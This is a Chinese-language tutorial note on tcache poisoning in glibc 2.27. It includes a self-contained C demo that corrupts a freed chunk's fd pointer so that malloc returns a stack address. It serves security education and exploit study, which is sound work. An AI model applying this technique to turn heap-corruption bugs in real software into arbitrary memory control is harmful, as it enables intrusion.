Tcache Poisoning
glibc-2.27
除了触发的条件比fastbin较为宽松外,tcache poisoning有一些需要注意的地方。每一个tcachebin都有一个整型数据用于记载着当前的bin有多少个chunk。所以除了盲目地修改tcachebin chunk的fd域外,我们还需要尽量确保这个count是正数来表示该bin尚且有chunk。
不过这个count值的确保不是必须的,而只是为了让堆的数据结构显得更加正常。除此之外,待分配的chunk不需要像fastbin chunk那样检查size字段。不过我们还是尽量应该满足这个条件,因为这个极有可能是比2.27更高版本的glibc的硬性要求。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n"
"returning a pointer to an arbitrary location (in this case, the stack).\\n"
"The attack is very similar to fastbin corruption attack.\\n");
printf("After the patch <https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n>"
"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\\n", (char *)&stack_var);
printf("Allocating 2 buffers.\\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\\n", b);
printf("Freeing the buffers...\\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n"
"to point to the location to control (%p).\\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\\n", b, &stack_var);
printf("1st malloc(128): %p\\n", malloc(128));
printf("Now the tcache list has [ %p ].\\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\\n", c);
printf("We got the control\\n");
assert((long)&stack_var == (long)c);
return 0;
}
另外还需要记住的是就是tcachebin中的chunk的fd指针所指向的chunk是不包括元数据的。